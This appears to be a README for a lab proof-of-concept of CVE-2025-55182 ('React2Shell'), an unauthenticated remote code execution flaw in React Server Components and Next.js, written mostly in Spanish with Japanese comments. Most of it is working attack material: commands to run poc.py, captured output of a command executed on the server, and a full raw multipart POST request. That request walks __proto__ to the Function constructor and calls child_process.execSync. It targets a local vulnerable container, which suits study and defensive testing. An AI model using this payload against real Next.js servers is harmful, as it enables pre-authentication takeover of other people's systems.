
CVE-2025-55182 — React2Shell
CVE-2025-55182 ("React2Shell") es una vulnerabilidad RCE sin autenticación con CVSS 10.0 en el deserializador del protocolo Flight de React Server Components.
La función reviveModel dentro del cliente del protocolo Flight de React no valida las claves de objeto con hasOwnProperty, por lo que un atacante puede recorrer la cadena de prototipos __proto__ → constructor → Function constructor y ejecutar JavaScript arbitrario.
Con una sola solicitud POST multipart con el encabezado , la deserialización se ejecuta antes de la autenticación, permitiendo que el ataque tenga éxito sin necesidad de autenticación.
Next-Action| Componente | Versión vulnerable | Versión corregida |
|---|---|---|
| React | 19.0.0 – 19.2.0 | 19.2.1 |
| Next.js | ≤ 16.0.6 | 16.0.7 |
CVE-2025-55182/
├── flake.nix # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py # エクスプロイトスクリプト
└── target/ # 脆弱な Next.js アプリ
├── Containerfile # podman ビルド用
├── package.json # [email protected] / [email protected]
├── next.config.ts
├── tsconfig.json
└── app/
├── layout.tsx
└── page.tsx
nix develop
podman build -t cve-2025-55182 target/
podman run -d -p 3000:3000 --name vuln cve-2025-55182
python poc.py http://localhost:3000 "id"
El resultado de la ejecución del comando se devuelve en el campo digest del JSON de respuesta.
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)
# ファイル書き込み
python poc.py http://localhost:3000 "touch /tmp/pwned"
# コンテナ内で確認
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # こっちでも可能
Asumiendo que Burp está ejecutándose en localhost:8080
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"
"$@0"
--19a7dba25a68483f4234c90a07a425a2--
podman stop vuln && podman rm vuln